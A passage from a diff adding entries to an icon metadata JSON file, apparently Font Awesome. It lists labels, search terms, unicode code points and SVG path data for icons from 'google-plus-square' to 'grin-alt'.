6.437V179.2h-56.001v55.733h-55.733v56.001h55.733v55.733h56.001v-55.733H627.2v-56.001h-55.733z" + } + }, + "free": [ + "brands" + ] + }, + "google-plus-square": { + "changes": [ + "2", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "social network" + ] + }, + "styles": [ + "brands" + ], + "unicode": "f0d4", + "label": "Google Plus Square", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440860994, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM164 356c-55.3 0-100-44.7-100-100s44.7-100 100-100c27 0 49.5 9.8 67 26.2l-27.1 26.1c-7.4-7.1-20.3-15.4-39.8-15.4-34.1 0-61.9 28.2-61.9 63.2 0 34.9 27.8 63.2 61.9 63.2 39.6 0 54.4-28.5 56.8-43.1H164v-34.4h94.4c1 5 1.6 10.1 1.6 16.6 0 57.1-38.3 97.6-96 97.6zm220-81.8h-29v29h-29.2v-29h-29V245h29v-29H355v29h29v29.2z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM164 356c-55.3 0-100-44.7-100-100s44.7-100 100-100c27 0 49.5 9.8 67 26.2l-27.1 26.1c-7.4-7.1-20.3-15.4-39.8-15.4-34.1 0-61.9 28.2-61.9 63.2 0 34.9 27.8 63.2 61.9 63.2 39.6 0 54.4-28.5 56.8-43.1H164v-34.4h94.4c1 5 1.6 10.1 1.6 16.6 0 57.1-38.3 97.6-96 97.6zm220-81.8h-29v29h-29.2v-29h-29V245h29v-29H355v29h29v29.2z" + } + }, + "free": [ + "brands" + ] + }, + "google-wallet": { + "changes": [ + "4.2", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f1ee", + "label": "Google Wallet", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440860995, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M156.8 126.8c37.6 60.6 64.2 113.1 84.3 162.5-8.3 33.8-18.8 66.5-31.3 98.3-13.2-52.3-26.5-101.3-56-148.5 6.5-36.4 2.3-73.6 3-112.3zM109.3 200H16.1c-6.5 0-10.5 7.5-6.5 12.7C51.8 267 81.3 330.5 101.3 400h103.5c-16.2-69.7-38.7-133.7-82.5-193.5-3-4-8-6.5-13-6.5zm47.8-88c68.5 108 130 234.5 138.2 368H409c-12-138-68.4-265-143.2-368H157.1zm251.8-68.5c-1.8-6.8-8.2-11.5-15.2-11.5h-88.3c-5.3 0-9 5-7.8 10.3 13.2 46.5 22.3 95.5 26.5 146 48.2 86.2 79.7 178.3 90.6 270.8 15.8-60.5 25.3-133.5 25.3-203 0-73.6-12.1-145.1-31.1-212.6z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M156.8 126.8c37.6 60.6 64.2 113.1 84.3 162.5-8.3 33.8-18.8 66.5-31.3 98.3-13.2-52.3-26.5-101.3-56-148.5 6.5-36.4 2.3-73.6 3-112.3zM109.3 200H16.1c-6.5 0-10.5 7.5-6.5 12.7C51.8 267 81.3 330.5 101.3 400h103.5c-16.2-69.7-38.7-133.7-82.5-193.5-3-4-8-6.5-13-6.5zm47.8-88c68.5 108 130 234.5 138.2 368H409c-12-138-68.4-265-143.2-368H157.1zm251.8-68.5c-1.8-6.8-8.2-11.5-15.2-11.5h-88.3c-5.3 0-9 5-7.8 10.3 13.2 46.5 22.3 95.5 26.5 146 48.2 86.2 79.7 178.3 90.6 270.8 15.8-60.5 25.3-133.5 25.3-203 0-73.6-12.1-145.1-31.1-212.6z" + } + }, + "free": [ + "brands" + ] + }, + "gopuram": { + "changes": [ + "5.3.0", + "5.7.0", + "5.11.0" + ], + "ligatures": [], + "search": { + "terms": [ + "building", + "entrance", + "hinduism", + "temple", + "tower" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f664", + "label": "Gopuram", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635509, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M496 352h-16V240c0-8.8-7.2-16-16-16h-16v-80c0-8.8-7.2-16-16-16h-16V16c0-8.8-7.2-16-16-16s-16 7.2-16 16v16h-64V16c0-8.8-7.2-16-16-16s-16 7.2-16 16v16h-64V16c0-8.8-7.2-16-16-16s-16 7.2-16 16v16h-64V16c0-8.8-7.2-16-16-16S96 7.2 96 16v112H80c-8.8 0-16 7.2-16 16v80H48c-8.8 0-16 7.2-16 16v112H16c-8.8 0-16 7.2-16 16v128c0 8.8 7.2 16 16 16h80V352h32V224h32v-96h32v96h-32v128h-32v160h80v-80c0-8.8 7.2-16 16-16h64c8.8 0 16 7.2 16 16v80h80V352h-32V224h-32v-96h32v96h32v128h32v160h80c8.8 0 16-7.2 16-16V368c0-8.8-7.2-16-16-16zM232 176c0-8.8 7.2-16 16-16h16c8.8 0 16 7.2 16 16v48h-48zm56 176h-64v-64c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M496 352h-16V240c0-8.8-7.2-16-16-16h-16v-80c0-8.8-7.2-16-16-16h-16V16c0-8.8-7.2-16-16-16s-16 7.2-16 16v16h-64V16c0-8.8-7.2-16-16-16s-16 7.2-16 16v16h-64V16c0-8.8-7.2-16-16-16s-16 7.2-16 16v16h-64V16c0-8.8-7.2-16-16-16S96 7.2 96 16v112H80c-8.8 0-16 7.2-16 16v80H48c-8.8 0-16 7.2-16 16v112H16c-8.8 0-16 7.2-16 16v128c0 8.8 7.2 16 16 16h80V352h32V224h32v-96h32v96h-32v128h-32v160h80v-80c0-8.8 7.2-16 16-16h64c8.8 0 16 7.2 16 16v80h80V352h-32V224h-32v-96h32v96h32v128h32v160h80c8.8 0 16-7.2 16-16V368c0-8.8-7.2-16-16-16zM232 176c0-8.8 7.2-16 16-16h16c8.8 0 16 7.2 16 16v48h-48zm56 176h-64v-64c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16z" + } + }, + "free": [ + "solid" + ] + }, + "graduation-cap": { + "changes": [ + "4.1", + "5.0.0", + "5.2.0", + "5.10.1" + ], + "ligatures": [], + "search": { + "terms": [ + "ceremony", + "college", + "graduate", + "learning", + "school", + "student" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f19d", + "label": "Graduation Cap", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635510, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M622.34 153.2L343.4 67.5c-15.2-4.67-31.6-4.67-46.79 0L17.66 153.2c-23.54 7.23-23.54 38.36 0 45.59l48.63 14.94c-10.67 13.19-17.23 29.28-17.88 46.9C38.78 266.15 32 276.11 32 288c0 10.78 5.68 19.85 13.86 25.65L20.33 428.53C18.11 438.52 25.71 448 35.94 448h56.11c10.24 0 17.84-9.48 15.62-19.47L82.14 313.65C90.32 307.85 96 298.78 96 288c0-11.57-6.47-21.25-15.66-26.87.76-15.02 8.44-28.3 20.69-36.72L296.6 284.5c9.06 2.78 26.44 6.25 46.79 0l278.95-85.7c23.55-7.24 23.55-38.36 0-45.6zM352.79 315.09c-28.53 8.76-52.84 3.92-65.59 0l-145.02-44.55L128 384c0 35.35 85.96 64 192 64s192-28.65 192-64l-14.18-113.47-145.03 44.56z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M622.34 153.2L343.4 67.5c-15.2-4.67-31.6-4.67-46.79 0L17.66 153.2c-23.54 7.23-23.54 38.36 0 45.59l48.63 14.94c-10.67 13.19-17.23 29.28-17.88 46.9C38.78 266.15 32 276.11 32 288c0 10.78 5.68 19.85 13.86 25.65L20.33 428.53C18.11 438.52 25.71 448 35.94 448h56.11c10.24 0 17.84-9.48 15.62-19.47L82.14 313.65C90.32 307.85 96 298.78 96 288c0-11.57-6.47-21.25-15.66-26.87.76-15.02 8.44-28.3 20.69-36.72L296.6 284.5c9.06 2.78 26.44 6.25 46.79 0l278.95-85.7c23.55-7.24 23.55-38.36 0-45.6zM352.79 315.09c-28.53 8.76-52.84 3.92-65.59 0l-145.02-44.55L128 384c0 35.35 85.96 64 192 64s192-28.65 192-64l-14.18-113.47-145.03 44.56z" + } + }, + "free": [ + "solid" + ] + }, + "gratipay": { + "changes": [ + "3.2", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "favorite", + "heart", + "like", + "love" + ] + }, + "styles": [ + "brands" + ], + "unicode": "f184", + "label": "Gratipay (Gittip)", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440860995, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M248 8C111.1 8 0 119.1 0 256s111.1 248 248 248 248-111.1 248-248S384.9 8 248 8zm114.6 226.4l-113 152.7-112.7-152.7c-8.7-11.9-19.1-50.4 13.6-72 28.1-18.1 54.6-4.2 68.5 11.9 15.9 17.9 46.6 16.9 61.7 0 13.9-16.1 40.4-30 68.1-11.9 32.9 21.6 22.6 60 13.8 72z\"/></svg>", + "viewBox": [ + "0", + "0", + "496", + "512" + ], + "width": 496, + "height": 512, + "path": "M248 8C111.1 8 0 119.1 0 256s111.1 248 248 248 248-111.1 248-248S384.9 8 248 8zm114.6 226.4l-113 152.7-112.7-152.7c-8.7-11.9-19.1-50.4 13.6-72 28.1-18.1 54.6-4.2 68.5 11.9 15.9 17.9 46.6 16.9 61.7 0 13.9-16.1 40.4-30 68.1-11.9 32.9 21.6 22.6 60 13.8 72z" + } + }, + "free": [ + "brands" + ] + }, + "grav": { + "changes": [ + "4.7", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f2d6", + "label": "Grav", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440860995, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M301.1 212c4.4 4.4 4.4 11.9 0 16.3l-9.7 9.7c-4.4 4.7-11.9 4.7-16.6 0l-10.5-10.5c-4.4-4.7-4.4-11.9 0-16.6l9.7-9.7c4.4-4.4 11.9-4.4 16.6 0l10.5 10.8zm-30.2-19.7c3-3 3-7.8 0-10.5-2.8-3-7.5-3-10.5 0-2.8 2.8-2.8 7.5 0 10.5 3.1 2.8 7.8 2.8 10.5 0zm-26 5.3c-3 2.8-3 7.5 0 10.2 2.8 3 7.5 3 10.5 0 2.8-2.8 2.8-7.5 0-10.2-3-3-7.7-3-10.5 0zm72.5-13.3c-19.9-14.4-33.8-43.2-11.9-68.1 21.6-24.9 40.7-17.2 59.8.8 11.9 11.3 29.3 24.9 17.2 48.2-12.5 23.5-45.1 33.2-65.1 19.1zm47.7-44.5c-8.9-10-23.3 6.9-15.5 16.1 7.4 9 32.1 2.4 15.5-16.1zM504 256c0 137-111 248-248 248S8 393 8 256 119 8 256 8s248 111 248 248zm-66.2 42.6c2.5-16.1-20.2-16.6-25.2-25.7-13.6-24.1-27.7-36.8-54.5-30.4 11.6-8 23.5-6.1 23.5-6.1.3-6.4 0-13-9.4-24.9 3.9-12.5.3-22.4.3-22.4 15.5-8.6 26.8-24.4 29.1-43.2 3.6-31-18.8-59.2-49.8-62.8-22.1-2.5-43.7 7.7-54.3 25.7-23.2 40.1 1.4 70.9 22.4 81.4-14.4-1.4-34.3-11.9-40.1-34.3-6.6-25.7 2.8-49.8 8.9-61.4 0 0-4.4-5.8-8-8.9 0 0-13.8 0-24.6 5.3 11.9-15.2 25.2-14.4 25.2-14.4 0-6.4-.6-14.9-3.6-21.6-5.4-11-23.8-12.9-31.7 2.8.1-.2.3-.4.4-.5-5 11.9-1.1 55.9 16.9 87.2-2.5 1.4-9.1 6.1-13 10-21.6 9.7-56.2 60.3-56.2 60.3-28.2 10.8-77.2 50.9-70.6 79.7.3 3 1.4 5.5 3 7.5-2.8 2.2-5.5 5-8.3 8.3-11.9 13.8-5.3 35.2 17.7 24.4 15.8-7.2 29.6-20.2 36.3-30.4 0 0-5.5-5-16.3-4.4 27.7-6.6 34.3-9.4 46.2-9.1 8 3.9 8-34.3 8-34.3 0-14.7-2.2-31-11.1-41.5 12.5 12.2 29.1 32.7 28 60.6-.8 18.3-15.2 23-15.2 23-9.1 16.6-43.2 65.9-30.4 106 0 0-9.7-14.9-10.2-22.1-17.4 19.4-46.5 52.3-24.6 64.5 26.6 14.7 108.8-88.6 126.2-142.3 34.6-20.8 55.4-47.3 63.9-65 22 43.5 95.3 94.5 101.1 59z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M301.1 212c4.4 4.4 4.4 11.9 0 16.3l-9.7 9.7c-4.4 4.7-11.9 4.7-16.6 0l-10.5-10.5c-4.4-4.7-4.4-11.9 0-16.6l9.7-9.7c4.4-4.4 11.9-4.4 16.6 0l10.5 10.8zm-30.2-19.7c3-3 3-7.8 0-10.5-2.8-3-7.5-3-10.5 0-2.8 2.8-2.8 7.5 0 10.5 3.1 2.8 7.8 2.8 10.5 0zm-26 5.3c-3 2.8-3 7.5 0 10.2 2.8 3 7.5 3 10.5 0 2.8-2.8 2.8-7.5 0-10.2-3-3-7.7-3-10.5 0zm72.5-13.3c-19.9-14.4-33.8-43.2-11.9-68.1 21.6-24.9 40.7-17.2 59.8.8 11.9 11.3 29.3 24.9 17.2 48.2-12.5 23.5-45.1 33.2-65.1 19.1zm47.7-44.5c-8.9-10-23.3 6.9-15.5 16.1 7.4 9 32.1 2.4 15.5-16.1zM504 256c0 137-111 248-248 248S8 393 8 256 119 8 256 8s248 111 248 248zm-66.2 42.6c2.5-16.1-20.2-16.6-25.2-25.7-13.6-24.1-27.7-36.8-54.5-30.4 11.6-8 23.5-6.1 23.5-6.1.3-6.4 0-13-9.4-24.9 3.9-12.5.3-22.4.3-22.4 15.5-8.6 26.8-24.4 29.1-43.2 3.6-31-18.8-59.2-49.8-62.8-22.1-2.5-43.7 7.7-54.3 25.7-23.2 40.1 1.4 70.9 22.4 81.4-14.4-1.4-34.3-11.9-40.1-34.3-6.6-25.7 2.8-49.8 8.9-61.4 0 0-4.4-5.8-8-8.9 0 0-13.8 0-24.6 5.3 11.9-15.2 25.2-14.4 25.2-14.4 0-6.4-.6-14.9-3.6-21.6-5.4-11-23.8-12.9-31.7 2.8.1-.2.3-.4.4-.5-5 11.9-1.1 55.9 16.9 87.2-2.5 1.4-9.1 6.1-13 10-21.6 9.7-56.2 60.3-56.2 60.3-28.2 10.8-77.2 50.9-70.6 79.7.3 3 1.4 5.5 3 7.5-2.8 2.2-5.5 5-8.3 8.3-11.9 13.8-5.3 35.2 17.7 24.4 15.8-7.2 29.6-20.2 36.3-30.4 0 0-5.5-5-16.3-4.4 27.7-6.6 34.3-9.4 46.2-9.1 8 3.9 8-34.3 8-34.3 0-14.7-2.2-31-11.1-41.5 12.5 12.2 29.1 32.7 28 60.6-.8 18.3-15.2 23-15.2 23-9.1 16.6-43.2 65.9-30.4 106 0 0-9.7-14.9-10.2-22.1-17.4 19.4-46.5 52.3-24.6 64.5 26.6 14.7 108.8-88.6 126.2-142.3 34.6-20.8 55.4-47.3 63.9-65 22 43.5 95.3 94.5 101.1 59z" + } + }, + "free": [ + "brands" + ] + }, + "greater-than": { + "changes": [ + "5.0.13" + ], + "ligatures": [], + "search": { + "terms": [ + "arithmetic", + "compare", + "math" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f531", + "label": "Greater Than", + "voted": true, + "svg": { + "solid": { + "last_modified": 1628088635511, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M365.52 209.85L59.22 67.01c-16.06-7.49-35.15-.54-42.64 15.52L3.01 111.61c-7.49 16.06-.54 35.15 15.52 42.64L236.96 256.1 18.49 357.99C2.47 365.46-4.46 384.5 3.01 400.52l13.52 29C24 445.54 43.04 452.47 59.06 445l306.47-142.91a32.003 32.003 0 0 0 18.48-29v-34.23c-.01-12.45-7.21-23.76-18.49-29.01z\"/></svg>", + "viewBox": [ + "0", + "0", + "384", + "512" + ], + "width": 384, + "height": 512, + "path": "M365.52 209.85L59.22 67.01c-16.06-7.49-35.15-.54-42.64 15.52L3.01 111.61c-7.49 16.06-.54 35.15 15.52 42.64L236.96 256.1 18.49 357.99C2.47 365.46-4.46 384.5 3.01 400.52l13.52 29C24 445.54 43.04 452.47 59.06 445l306.47-142.91a32.003 32.003 0 0 0 18.48-29v-34.23c-.01-12.45-7.21-23.76-18.49-29.01z" + } + }, + "free": [ + "solid" + ] + }, + "greater-than-equal": { + "changes": [ + "5.0.13" + ], + "ligatures": [], + "search": { + "terms": [ + "arithmetic", + "compare", + "math" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f532", + "label": "Greater Than Equal To", + "voted": true, + "svg": { + "solid": { + "last_modified": 1628088635510, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M55.22 107.69l175.56 68.09-175.44 68.05c-18.39 6.03-27.88 24.39-21.2 41l12.09 30.08c6.68 16.61 26.99 25.19 45.38 19.15L393.02 214.2c13.77-4.52 22.98-16.61 22.98-30.17v-15.96c0-13.56-9.21-25.65-22.98-30.17L91.3 17.92c-18.29-6-38.51 2.53-45.15 19.06L34.12 66.9c-6.64 16.53 2.81 34.79 21.1 40.79zM424 400H24c-13.25 0-24 10.74-24 24v48c0 13.25 10.75 24 24 24h400c13.25 0 24-10.75 24-24v-48c0-13.26-10.75-24-24-24z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M55.22 107.69l175.56 68.09-175.44 68.05c-18.39 6.03-27.88 24.39-21.2 41l12.09 30.08c6.68 16.61 26.99 25.19 45.38 19.15L393.02 214.2c13.77-4.52 22.98-16.61 22.98-30.17v-15.96c0-13.56-9.21-25.65-22.98-30.17L91.3 17.92c-18.29-6-38.51 2.53-45.15 19.06L34.12 66.9c-6.64 16.53 2.81 34.79 21.1 40.79zM424 400H24c-13.25 0-24 10.74-24 24v48c0 13.25 10.75 24 24 24h400c13.25 0 24-10.75 24-24v-48c0-13.26-10.75-24-24-24z" + } + }, + "free": [ + "solid" + ] + }, + "grimace": { + "changes": [ + "5.1.0", + "5.11.0", + "5.11.1" + ], + "ligatures": [], + "search": { + "terms": [ + "cringe", + "emoticon", + "face", + "teeth" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f57f", + "label": "Grimacing Face", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635511, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zM144 400h-8c-17.7 0-32-14.3-32-32v-8h40v40zm0-56h-40v-8c0-17.7 14.3-32 32-32h8v40zm-8-136c0-17.7 14.3-32 32-32s32 14.3 32 32-14.3 32-32 32-32-14.3-32-32zm72 192h-48v-40h48v40zm0-56h-48v-40h48v40zm64 56h-48v-40h48v40zm0-56h-48v-40h48v40zm64 56h-48v-40h48v40zm0-56h-48v-40h48v40zm-8-104c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm64 128c0 17.7-14.3 32-32 32h-8v-40h40v8zm0-24h-40v-40h8c17.7 0 32 14.3 32 32v8z\"/></svg>", + "viewBox": [ + "0", + "0", + "496", + "512" + ], + "width": 496, + "height": 512, + "path": "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zM144 400h-8c-17.7 0-32-14.3-32-32v-8h40v40zm0-56h-40v-8c0-17.7 14.3-32 32-32h8v40zm-8-136c0-17.7 14.3-32 32-32s32 14.3 32 32-14.3 32-32 32-32-14.3-32-32zm72 192h-48v-40h48v40zm0-56h-48v-40h48v40zm64 56h-48v-40h48v40zm0-56h-48v-40h48v40zm64 56h-48v-40h48v40zm0-56h-48v-40h48v40zm-8-104c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm64 128c0 17.7-14.3 32-32 32h-8v-40h40v8zm0-24h-40v-40h8c17.7 0 32 14.3 32 32v8z" + }, + "regular": { + "last_modified": 1628088634835, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm-80-216c17.7 0 32-14.3 32-32s-14.3-32-32-32-32 14.3-32 32 14.3 32 32 32zm160 0c17.7 0 32-14.3 32-32s-14.3-32-32-32-32 14.3-32 32 14.3 32 32 32zm16 16H152c-26.5 0-48 21.5-48 48v32c0 26.5 21.5 48 48 48h192c26.5 0 48-21.5 48-48v-32c0-26.5-21.5-48-48-48zm-168 96h-24c-8.8 0-16-7.2-16-16v-8h40v24zm0-40h-40v-8c0-8.8 7.2-16 16-16h24v24zm64 40h-48v-24h48v24zm0-40h-48v-24h48v24zm64 40h-48v-24h48v24zm0-40h-48v-24h48v24zm56 24c0 8.8-7.2 16-16 16h-24v-24h40v8zm0-24h-40v-24h24c8.8 0 16 7.2 16 16v8z\"/></svg>", + "viewBox": [ + "0", + "0", + "496", + "512" + ], + "width": 496, + "height": 512, + "path": "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm-80-216c17.7 0 32-14.3 32-32s-14.3-32-32-32-32 14.3-32 32 14.3 32 32 32zm160 0c17.7 0 32-14.3 32-32s-14.3-32-32-32-32 14.3-32 32 14.3 32 32 32zm16 16H152c-26.5 0-48 21.5-48 48v32c0 26.5 21.5 48 48 48h192c26.5 0 48-21.5 48-48v-32c0-26.5-21.5-48-48-48zm-168 96h-24c-8.8 0-16-7.2-16-16v-8h40v24zm0-40h-40v-8c0-8.8 7.2-16 16-16h24v24zm64 40h-48v-24h48v24zm0-40h-48v-24h48v24zm64 40h-48v-24h48v24zm0-40h-48v-24h48v24zm56 24c0 8.8-7.2 16-16 16h-24v-24h40v8zm0-24h-40v-24h24c8.8 0 16 7.2 16 16v8z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "grin": { + "changes": [ + "5.1.0", + "5.11.0", + "5.11.1" + ], + "ligatures": [], + "search": { + "terms": [ + "emoticon", + "face", + "laugh", + "smile" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f580", + "label": "Grinning Face", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635513, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm80 168c17.7 0 32 14.3 32 32s-14.3 32-32 32-32-14.3-32-32 14.3-32 32-32zm-160 0c17.7 0 32 14.3 32 32s-14.3 32-32 32-32-14.3-32-32 14.3-32 32-32zm80 256c-60.6 0-134.5-38.3-143.8-93.3-2-11.8 9.3-21.6 20.7-17.9C155.1 330.5 200 336 248 336s92.9-5.5 123.1-15.2c11.3-3.7 22.6 6.1 20.7 17.9-9.3 55-83.2 93.3-143.8 93.3z\"/></svg>", + "viewBox": [ + "0", + "0", + "496", + "512" + ], + "width": 496, + "height": 512, + "path": "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm80 168c17.7 0 32 14.3 32 32s-14.3 32-32 32-32-14.3-32-32 14.3-32 32-32zm-160 0c17.7 0 32 14.3 32 32s-14.3 32-32 32-32-14.3-32-32 14.3-32 32-32zm80 256c-60.6 0-134.5-38.3-143.8-93.3-2-11.8 9.3-21.6 20.7-17.9C155.1 330.5 200 336 248 336s92.9-5.5 123.1-15.2c11.3-3.7 22.6 6.1 20.7 17.9-9.3 55-83.2 93.3-143.8 93.3z" + }, + "regular": { + "last_modified": 1628088634838, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm105.6-151.4c-25.9 8.3-64.4 13.1-105.6 13.1s-79.6-4.8-105.6-13.1c-9.9-3.1-19.4 5.4-17.7 15.3 7.9 47.1 71.3 80 123.3 80s115.3-32.9 123.3-80c1.6-9.8-7.7-18.4-17.7-15.3zM168 240c17.7 0 32-14.3 32-32s-14.3-32-32-32-32 14.3-32 32 14.3 32 32 32zm160 0c17.7 0 32-14.3 32-32s-14.3-32-32-32-32 14.3-32 32 14.3 32 32 32z\"/></svg>", + "viewBox": [ + "0", + "0", + "496", + "512" + ], + "width": 496, + "height": 512, + "path": "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm105.6-151.4c-25.9 8.3-64.4 13.1-105.6 13.1s-79.6-4.8-105.6-13.1c-9.9-3.1-19.4 5.4-17.7 15.3 7.9 47.1 71.3 80 123.3 80s115.3-32.9 123.3-80c1.6-9.8-7.7-18.4-17.7-15.3zM168 240c17.7 0 32-14.3 32-32s-14.3-32-32-32-32 14.3-32 32 14.3 32 32 32zm160 0c17.7 0 32-14.3 32-32s-14.3-32-32-32-32 14.3-32 32 14.3 32 32 32z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "grin-alt": { + "changes": [ + "5.1.0", + "5.11.0", + "5.11.1" + ], + "ligatures": [], + "search": { + "terms": [ + "emoticon", + "face", + "laugh", + "smile" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f581", + "label": "Alternate Grinning Face", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635511, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm63.7 128.7c7.6-11.4 24.7-11.7 32.7 0 12.4 18.4 15.1 36.9 15.7 55.3-.5 18.4-3.3 36.9-15.7 55.3-7.6 11.4-24.7 11.7-32.7 0-12.4-18.4-15.1-36.9-15.7-55.3.5-18.4 3.3-36.9 15.7-55.3zm-160 0c7.6-11.4 24.7-11.7 32.7 0 12.4 18.4 15.1 36.9 15.7 55.3-.5 18.4-3.3 36.9-15.7 55.3-7.6 11.4-24.7 11.7-32.7 0-12.4-18.4-15.1-36.9-15.7-55.3.5-18.4 3.3-36.9 15.7-55.3zM248 432c-60.6 0-134.5-38.3-143.8-93.3-2-11.8 9.3-21.6 20.7-17.9C155.1 330.5 200 336 248 336s92.9-5.5 123.1-15.2c11.4-3.7 22.6 6.1 20.7 17.9-9.3 55-83.2 93.3-143.8 93.3z\"/></svg>", + "viewBox": [ + "0", + "0", + "496", + "512" + ], + "width": 496, + "height": 512, + "path": "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm63.7 128.7c7.6-11.4 24.7-11.7 32.7 0 12.4 18.4 15.1 36.9 15.7 55.3-.5 18.4-3.3 36.9-15.7 55.3-7.6 11.4-24.7 11.7-32.7 0-12.4-18.4-15.1-36.9-15.7-55.3.5-18.4 3.3-36.9 15.7-55.3zm-160 0c7.6-11.4 24.7-11.7 32.7 0 12.4 18.4 15.1 36.9 15.7 55.3-.5 18.4-3.3 36.9-15.7 55.3-7.6 11.4-24.7 11.7-32.7 0-12.4-18.4-15.1-36.9-15.7-55.3.5-18.4 3.3-36.9 15.7-55.3zM248 432c-60.6 0-134.5-38.3-143.8-93.3-2-11.8 9.3-21.6 20.7-17.9C155.1 330.5 200 336 248 336s92.9-5.5 123.1-15.2c11.4-3.7 22.6 6.1 20.7 17.9-9.3 55-83.2 93.3-143.8 93.3z" + }, + "regular": { + "last_modified": 1628088634836, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M200.3 248c12.4-18.7 15.1-37.3 15.7-56-.5-18.7-3.3-37.3-15.7-56-8-12-25.1-11.4-32.7 0-12.4 18.7-15.1 37.3-15.7 56 .5 18.7 3.3 37.3 15.7 56 8.1 12 25.2 11.4 32.7 0zm128 0c12.4-18.7 15.1-37.3 15.7-56-.5-18.7-3.3-37.3-15.7-56-8-12-25.1-11.4-32.7 0-12.4 18.7-15.1 37.3-15.7 56 .5 18.7 3.3 37.3 15.7 56 8.1 12 25.2 11.4 32.7 0zM248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm105.6-151.4c-25.9 8.3-64.4 13.1-105.6 13.1s-79.6-4.8-105.6-13.1c-9.9-3.1-19.4 5.3-17.7 15.3 7.9 47.2 71.3 80 123.3 80s115.3-32.9 123.3-80c1.6-9.8-7.7-18.4-17.7-15.3z\"/></svg>", + "viewBox": [ + "0", + "0", + "496", 